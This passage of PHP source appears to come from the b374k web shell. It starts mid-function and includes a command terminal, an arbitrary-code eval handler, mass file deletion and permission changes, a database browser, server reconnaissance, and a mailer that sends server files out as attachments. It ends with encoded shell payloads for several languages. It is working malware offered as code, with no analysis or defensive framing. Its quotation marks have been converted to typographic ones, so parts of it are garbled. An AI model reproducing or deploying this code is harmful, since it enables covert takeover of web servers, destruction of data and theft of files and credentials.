if(($massType==’tar’)||($massType==’targz’)||($massType==’zip’)){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType==’delete’){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType==’cut’){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
touch($dest, $preserveTimestamp);
}
}
elseif($massType==’copy’){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType==’untar’)||($massType==’untargz’)||($massType==’unzip’)){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType==’chmod’){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType==’chown’){
if(chown($path, $massValue)) $counter++;
}
elseif($massType==’touch’){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output(‘error’);
}
elseif(isset($p[‘viewFileorFolder’])){
$entry = $p[‘viewFileorFolder’];
if(is_file($entry)) output(‘file’);
elseif(is_dir($entry)) output(‘folder’);
output(‘error’);
}
elseif(isset($p[‘terminalInput’])){
output(html_safe(execute($p[‘terminalInput’])));
}
elseif(isset($p[‘evalInput’]) && isset($p[‘evalType’])){
$evalInput = $p[‘evalInput’];
$evalOptions = (isset($p[‘evalOptions’]))? $p[‘evalOptions’]:””;
$evalArguments = (isset($p[‘evalArguments’]))? $p[‘evalArguments’]:””;
$evalType = $p[‘evalType’];

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set(‘html_errors’,’0′);
@ini_set(‘display_errors’,’1′);
@ini_set(‘display_startup_errors’,’1′);

$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == “error”;
output(html_safe($res));
}
elseif(isset($p[‘evalGetSupported’])){
$res = eval_get_supported();
output($res);
}
$GLOBALS[‘module’][‘convert’][‘id’] = “convert”;
$GLOBALS[‘module’][‘convert’][‘title’] = “Convert”;
$GLOBALS[‘module’][‘convert’][‘js_ontabselected’] = ”
if((!portableMode) && ($(‘#decodeResult’).children().length==1)) $(‘#decodeStr’).focus();”;
$GLOBALS[‘module’][‘convert’][‘content’] = ”

Convert

convert
You can also press ctrl+enter to submit

“;

if(!function_exists(‘decode’)){
function decode($str){
$res = “”;
$length = (int) strlen($str);

$res .= decode_line(“md5”, md5($str), “input”);
$res .= decode_line(“sha1”, sha1($str), “input”);

$res .= decode_line(“base64 encode”, base64_encode($str), “textarea”);
$res .= decode_line(“base64 decode”, base64_decode($str), “textarea”);

$res .= decode_line(“hex to string”, @pack(“H*” , $str), “textarea”);
$res .= decode_line(“string to hex”, bin2hex($str), “textarea”);

$ascii = “”;
for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists('hash_algos')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo=='md5')||($algo=='sha1')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; } } if(!function_exists('decode_line')){ function decode_line($type, $result, $inputtype){ $res = " “.$type.” “;
if($inputtype==’input’){
$res .= ““;
}
else{
$res .= ““;
}
return $res;
}
}

if(isset($p[‘decodeStr’])){
$decodeStr = $p[‘decodeStr’];
output(decode($decodeStr));
}
$GLOBALS[‘module’][‘database’][‘id’] = “database”;
$GLOBALS[‘module’][‘database’][‘title’] = “Database”;
$GLOBALS[‘module’][‘database’][‘js_ontabselected’] = “”;
$GLOBALS[‘module’][‘database’][‘content’] = ”

Connect

Host
Username
Password
Port (Optional)
connect

“;

if(!function_exists(‘sql_connect’)){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli’)) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists(‘mysql_connect’)) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_connect’)){
$coninfo = array(“UID”=>$sqluser, “PWD”=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists(‘mssql_connect’)) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == ‘pgsql’){
$hosts = explode(“:”, $sqlhost);
if(count($hosts)==2){
$host_str = “host=”.$hosts[0].” port=”.$hosts[1];
}
else $host_str = “host=”.$sqlhost;
if(function_exists(‘pg_connect’)) return @pg_connect(“$host_str user=$sqluser password=$sqlpass”);
}
elseif($sqltype == ‘oracle’){ if(function_exists(‘oci_connect’)) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == ‘sqlite3’){
if(class_exists(‘SQLite3’)) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == ‘sqlite’){ if(function_exists(‘sqlite_open’)) return @sqlite_open($sqlhost); }
elseif($sqltype == ‘odbc’){ if(function_exists(‘odbc_connect’)) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == ‘pdo’){
if(class_exists(‘PDO’)) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}

if(!function_exists(‘sql_query’)){
function sql_query($sqltype, $query, $con){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli’)) return $con->query($query);
elseif(function_exists(‘mysql_query’)) return mysql_query($query);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_query’)) return sqlsrv_query($con,$query);
elseif(function_exists(‘mssql_query’)) return mssql_query($query);
}
elseif($sqltype == ‘pgsql’) return pg_query($query);
elseif($sqltype == ‘oracle’) return oci_execute(oci_parse($con, $query));
elseif($sqltype == ‘sqlite3’) return $con->query($query);
elseif($sqltype == ‘sqlite’) return sqlite_query($con, $query);
elseif($sqltype == ‘odbc’) return odbc_exec($con, $query);
elseif($sqltype == ‘pdo’) return $con->query($query);
}
}

if(!function_exists(‘sql_num_rows’)){
function sql_num_rows($sqltype,$result){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli_result’)) return $result->mysqli_num_rows;
elseif(function_exists(‘mysql_num_rows’)) return mysql_num_rows($result);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_num_rows’)) return sqlsrv_num_rows($result);
elseif(function_exists(‘mssql_num_rows’)) return mssql_num_rows($result);
}
elseif($sqltype == ‘pgsql’) return pg_num_rows($result);
elseif($sqltype == ‘oracle’) return oci_num_rows($result);
elseif($sqltype == ‘sqlite3’){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata[‘count’];
}
elseif($sqltype == ‘sqlite’) return sqlite_num_rows($result);
elseif($sqltype == ‘odbc’) return odbc_num_rows($result);
elseif($sqltype == ‘pdo’) return $result->rowCount();
}
}

if(!function_exists(‘sql_num_fields’)){
function sql_num_fields($sqltype, $result){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli_result’)) return $result->field_count;
elseif(function_exists(‘mysql_num_fields’)) return mysql_num_fields($result);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_num_fields’)) return sqlsrv_num_fields($result);
elseif(function_exists(‘mssql_num_fields’)) return mssql_num_fields($result);
}
elseif($sqltype == ‘pgsql’) return pg_num_fields($result);
elseif($sqltype == ‘oracle’) return oci_num_fields($result);
elseif($sqltype == ‘sqlite3’) return $result->numColumns();
elseif($sqltype == ‘sqlite’) return sqlite_num_fields($result);
elseif($sqltype == ‘odbc’) return odbc_num_fields($result);
elseif($sqltype == ‘pdo’) return $result->columnCount();
}
}

if(!function_exists(‘sql_field_name’)){
function sql_field_name($sqltype,$result,$i){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli_result’)) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists(‘mysql_field_name’)) return mysql_field_name($result,$i);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_field_metadata’)){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata[‘Name’];
}
elseif(function_exists(‘mssql_field_name’)) return mssql_field_name($result,$i);
}
elseif($sqltype == ‘pgsql’) return pg_field_name($result,$i);
elseif($sqltype == ‘oracle’) return oci_field_name($result,$i+1);
elseif($sqltype == ‘sqlite3’) return $result->columnName($i);
elseif($sqltype == ‘sqlite’) return sqlite_field_name($result,$i);
elseif($sqltype == ‘odbc’) return odbc_field_name($result,$i+1);
elseif($sqltype == ‘pdo’){
$res = $result->getColumnMeta($i);
return $res[‘name’];
}
}
}

if(!function_exists(‘sql_fetch_data’)){
function sql_fetch_data($sqltype,$result){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli_result’)) return $result->fetch_row();
elseif(function_exists(‘mysql_fetch_row’)) return mysql_fetch_row($result);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_fetch_array’)) return sqlsrv_fetch_array($result,1);
elseif(function_exists(‘mssql_fetch_row’)) return mssql_fetch_row($result);
}
elseif($sqltype == ‘pgsql’) return pg_fetch_row($result);
elseif($sqltype == ‘oracle’) return oci_fetch_row($result);
elseif($sqltype == ‘sqlite3’) return $result->fetchArray(1);
elseif($sqltype == ‘sqlite’) return sqlite_fetch_array($result,1);
elseif($sqltype == ‘odbc’) return odbc_fetch_array($result);
elseif($sqltype == ‘pdo’) return $result->fetch(2);
}
}

if(!function_exists(‘sql_close’)){
function sql_close($sqltype,$con){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli’)) return $con->close();
elseif(function_exists(‘mysql_close’)) return mysql_close($con);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_close’)) return sqlsrv_close($con);
elseif(function_exists(‘mssql_close’)) return mssql_close($con);
}
elseif($sqltype == ‘pgsql’) return pg_close($con);
elseif($sqltype == ‘oracle’) return oci_close($con);
elseif($sqltype == ‘sqlite3’) return $con->close();
elseif($sqltype == ‘sqlite’) return sqlite_close($con);
elseif($sqltype == ‘odbc’) return odbc_close($con);
elseif($sqltype == ‘pdo’) return $con = null;
}
}

if(!function_exists(‘sql_get_supported’)){
function sql_get_supported(){
$db_supported = array();

if(function_exists(“mysql_connect”)) $db_supported[] = ‘mysql’;
if(function_exists(“mssql_connect”) || function_exists(“sqlsrv_connect”)) $db_supported[] = ‘mssql’;
if(function_exists(“pg_connect”)) $db_supported[] = ‘pgsql’;
if(function_exists(“oci_connect”)) $db_supported[] = ‘oracle’;
if(function_exists(“sqlite_open”)) $db_supported[] = ‘sqlite’;
if(class_exists(“SQLite3”)) $db_supported[] = ‘sqlite3’;
if(function_exists(“odbc_connect”)) $db_supported[] = ‘odbc’;
if(class_exists(“PDO”)) $db_supported[] = ‘pdo’;

return implode(“,”, $db_supported);
}
}

if(isset($p[‘dbGetSupported’])){
$res = sql_get_supported();
if(empty($res)) $res = “error”;
output($res);
}
elseif(isset($p[‘dbType’])&&isset($p[‘dbHost’])&&isset($p[‘dbUser’])&&isset($p[‘dbPass’])&&isset($p[‘dbPort’])){
$type = $p[‘dbType’];
$host = $p[‘dbHost’];
$user = $p[‘dbUser’];
$pass = $p[‘dbPass’];
$port = $p[‘dbPort’];

$con = sql_connect($type ,$host , $user , $pass);
$res = “”;

if($con!==false){
if(isset($p[‘dbQuery’])){
$query = $p[‘dbQuery’];
$pagination = “”;
if((isset($p[‘dbDB’]))&&(isset($p[‘dbTable’]))){
$db = trim($p[‘dbDB’]);
$table = trim($p[‘dbTable’]);
$start = (int) (isset($p[‘dbStart’]))? trim($p[‘dbStart’]):0;
$limit = (int) (isset($p[‘dbLimit’]))? trim($p[‘dbLimit’]):100;

if($type==’mysql’){
$query = “SELECT * FROM “.$db.”.”.$table.” LIMIT “.$start.”,”.$limit.”;”;
}
elseif($type==’mssql’){
$query = “SELECT TOP “.$limit.” * FROM “.$db.”..”.$table.”;”;
}
elseif($type==’pgsql’){
$query = “SELECT * FROM “.$db.”.”.$table.” LIMIT “.$limit.” OFFSET “.$start.”;”;
}
elseif($type==’oracle’){
$limit = $start + $limit;
$query = “SELECT * FROM “.$db.”.”.$table.” WHERE ROWNUM BETWEEN “.$start.” AND “.$limit.”;”;
}
elseif($type==’sqlite’ || $type==’sqlite3′){
$query = “SELECT * FROM “.$table.” LIMIT “.$start.”,”.$limit.”;”;
}
else $query = “”;

$pagination = “Limit
prev
next



“;
}

$querys = explode(“;”, $query);
foreach($querys as $query){
if(trim($query) != “”){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= “

“.html_safe($query).”;   [ ok ]

“;
if(!empty($pagination)){
$res .= “

“.$pagination.”

“;
}
if(!is_bool($query_query)){
$res .= “

“;
for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "

“;
$res .= “

“;
while($rows = sql_fetch_data($type, $query_query)){
$res .= “

“;
foreach($rows as $r){
if(empty($r)) $r = ” “;
$res .= “

“;
}
$res .= “

“;
}
$res .= “

“.html_safe(sql_field_name($type, $query_query, $i)).”
“.html_safe($r).”

“;
}
}
else{
$res .= “

“.html_safe($query).”;   [ error ]

“;
}
}
}
}
else{
if(($type!=’pdo’) && ($type!=’odbc’)){
if($type==’mysql’) $showdb = “SHOW DATABASES”;
elseif($type==’mssql’) $showdb = “SELECT name FROM master..sysdatabases”;
elseif($type==’pgsql’) $showdb = “SELECT schema_name FROM information_schema.schemata”;
elseif($type==’oracle’) $showdb = “SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME”;
elseif(($type==’sqlite3′) || ($type==’sqlite’)) $showdb = “SELECT \””.$host.”\””;
else $showdb = “SHOW DATABASES”;

$query_db = sql_query($type, $showdb, $con);

if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type==’mysql’) $showtbl = “SHOW TABLES FROM “.$db;
elseif($type==’mssql’) $showtbl = “SELECT name FROM “.$db.”..sysobjects WHERE xtype = ‘U'”;
elseif($type==’pgsql’) $showtbl = “SELECT table_name FROM information_schema.tables WHERE table_schema='”.$db.”‘”;
elseif($type==’oracle’) $showtbl = “SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='”.$db.”‘”;
elseif(($type==’sqlite3′) || ($type==’sqlite’)) $showtbl = “SELECT name FROM sqlite_master WHERE type=’table'”;
else $showtbl = “”;

$res .= “

“.$db.”

“;
$query_table = sql_query($type, $showtbl, $con);

if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= “

“;
}
}
$res .= “

“;
}
}
}
}
}
}
if(!empty($res)) output($res);
output(‘error’);
}

$GLOBALS[‘module’][‘info’][‘id’] = “info”;
$GLOBALS[‘module’][‘info’][‘title’] = “Info”;
$GLOBALS[‘module’][‘info’][‘js_ontabselected’] = “”;
$GLOBALS[‘module’][‘info’][‘content’] = “

“;

if(!function_exists(‘info_getinfo’)){
function info_getinfo(){
$res = “”;
// server misc info
$res .= “

Server Info

“;
$res .= “

“;

if(!is_win()){
// cpu info
if($i_buff=trim(read_file(“/proc/cpuinfo”))){
$res .= “

CPU Info

“;
$res .= “

“;
}

// mem info
if($i_buff=trim(read_file(“/proc/meminfo”))){
$res .= “

Memory Info

“;
$i_buffs = explode(“\n”, $i_buff);
$res .= “

“;
}

// partition
if($i_buff=trim(read_file(“/proc/partitions”))){
$i_buff = preg_replace(“/\ +/”, ” “, $i_buff);
$res .= “

Partitions Info

“;
$res .= “

“;
}
}
$phpinfo = array(“PHP General” => INFO_GENERAL, “PHP Configuration” => INFO_CONFIGURATION, “PHP Modules” => INFO_MODULES, “PHP Environment” => INFO_ENVIRONMENT, “PHP Variables” => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= “

“.$p.”

“;
ob_start();
eval(“phpinfo(“.$i.”);”);
$b = ob_get_contents();
ob_end_clean();
if(preg_match(“/(.*?)<\/body>/is”, $b, $r)){
$body = str_replace(array(“,”, “;”, “&”), array(“, “, “; “, “&”), $r[1]);
$body = str_replace(“(.*?)<\/tr>/”, “”, $body);
$body = preg_replace(“//”, “”, $body);
$body = preg_replace(“/
/”, “”, $body);

$res .= “

“;
}
}

$res .= “refresh

“;
return $res;
}
}

if(isset($p[‘infoRefresh’])){
output(info_getinfo());
}

$GLOBALS[‘module’][‘mail’][‘id’] = “mail”;
$GLOBALS[‘module’][‘mail’][‘title’] = “Mail”;
$GLOBALS[‘module’][‘mail’][‘js_ontabselected’] = “if(!portableMode) $(‘#mailFrom’).focus();”;
$GLOBALS[‘module’][‘mail’][‘content’] = ”

Mail

From
To
Subject
send
attachment

“;

if(!function_exists(‘send_email’)){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = “MIME-Version: 1.0\r\n”.$from;

$rand = md5(time());
$headers .= “Content-Type: multipart/mixed; boundary=\””.$rand.”\”\r\n\r\n”;

$headers .= “–“.$rand.”\r\n”;
$headers .= “Content-Type: text/html; charset=\”UTF-8\”\r\nContent-Transfer-Encoding: 8bit\r\n\r\n”;
$headers .= $msg.”\r\n\r\n”;

if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= “–“.$rand.”\r\n”;
$headers .= “Content-Type: application/octet-stream; name=\””.basename($file).”\”\r\n”;
$headers .= “Content-Transfer-Encoding: base64\r\n”;
$headers .= “Content-Disposition: attachment\r\n\r\n”;
$headers .= $content.”\r\n\r\n”;
}
}
}
$headers .= “–“.$rand.”–\r\n”;
if(@mail($to, $subject, “”, $headers)) return true;
return false;
}
}

if(isset($p[‘mailFrom’])&&isset($p[‘mailTo’])&&isset($p[‘mailSubject’])&&isset($p[‘mailContent’])){
$mailFrom = trim($p[‘mailFrom’]);
$mailTo = trim($p[‘mailTo’]);
$mailSubject = trim($p[‘mailSubject’]);
$mailContent = trim($p[‘mailContent’]);
$mailAttachment = trim($p[‘mailAttachment’]);
$mailAttachment = (!empty($mailAttachment))? explode(“{[|b374k|]}”, $p[‘mailAttachment’]):array();

if(empty($mailTo)) output(“Please specify at least one recipient”);
if(!empty($mailFrom)){
$mailFrom = “From: “.$mailFrom.”\r\nReply-To: “.$mailFrom.”\r\n”;
}

foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output(“No such file : “.$file);
}

if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output(“Mail sent to “.html_safe($mailTo));
output(“Failed to send mail”);
}

$server_addr = isset($_SERVER[‘SERVER_ADDR’])? $_SERVER[‘SERVER_ADDR’]:isset($_SERVER[“HTTP_HOST”])?$_SERVER[“HTTP_HOST”]:””;
$remote_addr = isset($_SERVER[‘REMOTE_ADDR’])? $_SERVER[‘REMOTE_ADDR’]:””;
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))==”win”)? ““:””;

$GLOBALS[‘resources’][‘rs_php’] = “7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G”;
$GLOBALS[‘resources’][‘rs_python’] = “rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=”;
$GLOBALS[‘resources’][‘rs_perl’] = “lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==”;
$GLOBALS[‘resources’][‘rs_ruby’] = “tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=”;
$GLOBALS[‘resources’][‘rs_node’] = “nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=”;
$GLOBALS[‘resources’][‘rs_gcc’] = “rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==”;
